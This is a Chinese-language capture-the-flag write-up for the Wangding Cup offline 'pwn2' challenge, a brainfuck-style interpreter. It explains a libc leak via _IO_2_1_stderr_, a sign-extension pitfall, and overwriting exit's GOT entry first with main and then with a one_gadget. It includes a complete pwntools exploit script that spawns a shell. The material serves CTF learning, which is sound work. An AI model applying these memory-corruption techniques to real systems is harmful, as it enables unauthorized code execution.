0%

网鼎杯线下Pwn2

网鼎杯线下赛 pwn2 wp

​ 师傅网鼎杯扔给我的,当时没来的及做,现在做了一下,这里贴出思路。

​ 网鼎杯线下三题中这个算是最简单的了,感叹网鼎杯的赛题质量还是挺高的,听师傅说网鼎杯是借鉴的国外赛题,国外赛题的话一般是re/pwn结合的,一般并称为binary,所以看线下赛的两道堆题,不仅需要你pwn,还需要你把他逻辑逆出来。符号表被裁,函数也比较多,不再是寻常的3~4个函数的选单程序,看上去比较贴近实际。分析起来可以算是有点烦的了。其它两题有空再说,现在贴下pwn2的思路。
pwn2的话是一个brainfuck程序,玩法是通过输入一些程序规定的特殊字符,去使用程序指定的一些功能。记得pwnable.kr上好像是有一道类似的题目。
​ 这道题逻辑大概是这样的,初始指针是指向bss段,我们可以通过输入<、>、.、,来进行指针的移动、泄露、输入等,其实还有一些其他的功能,但是事实上对利用是没有什么太大帮助的,估计是想迷惑我们23333。
​ 这道题思路是这样的,首先通过移动bss段的指针使其指向libc中的函数,因为这题肯定是要构造系统调用的,这里其实只有一种选择,就是将bss指针移动到位处bss段上的_IO_2_1_stderr_等函数,这样可以进行泄露libc地址,但是一开始我想的是直接将指针移动到got段进行进行泄露got表,但是由于程序里有一个操作是在数组下标寻址的时候做有符号位的扩展,导致一旦用户输入了超过0x7f个字符的话程序会将0x80解析为0xffffff80,而保存用户输入的地址之后0xffffff80地址处数据为0x00,这样的话循环会退出,程序执行exit(1)指令,这里满足条件的got好像只有exit一个,但是exit是未初始化的,即未进行plt寻址和地址绑定,所以exit无法泄露libc相关地址,而其他的got函数长度超过0x7f,会导致无法进行泄露后下一步的操作。
泄露_IO_2_1_stderr_的地址后可以计算libc基址,之后可以得到oneGadget等的地址,这时候如果直接写exitgot为oneGadget的话程序会报错,因为程序已经一次getshell所需的输入字符数,这里程序故意不让你一次getshell,以至于如果你覆写exit为oneGadget的话只能将oneGadget从低地址开始的4字节写入,之后直接exit,而由于oneGadget的低四字节是无效地址,程序会报错。
​ 所以这里绕了一下,不直接写exit为oneGadget,而是将exit覆写为main函数的开头,这样的话就能再进行一次输入了,由于ptr循环开始并没有初始化,所以现在ptr指向的是exit got表地址+4的位置,所以第二次输入将ptr往低地址移4字节后进行写入,现在就能写入oneGadget了。成功getShell。
这道题比较坑的坑点就在于movsx的带符号位扩展,不了解的话可能会花很长时间死磕。

​ exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#coding:utf-8

import sys
from pwn import *
#from LibcSearcher import *
import time
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def debug(msg=''):
gdb.attach(p,'')
raw_input()

def exploit():
p.recv()
payload1 = "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<.>.>.>.>.>.>.>.<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>,>,>,>,"
p.sendline(payload1)
leak_addr = p.recv(8).ljust(8,'\x00')
leak_addr = u64(leak_addr)
base_addr = leak_addr - libc.symbols['_IO_2_1_stderr_']
bin_sh = next(libc.search('/bin/sh'))
system = libc.symbols['system']
payload2 = p32(0x0000400847)
p.send(payload2)
payload3 = '<<<<>,>,>,>,>,>,>,'
p.sendline(payload3)
payload4 = p64(base_addr + 0x45216)
p.sendline(payload4)
p.interactive()

if __name__ == '__main__':
#p = remote('172.16.5.'+str(i),5069)
p=process('./pwn2')
exploit()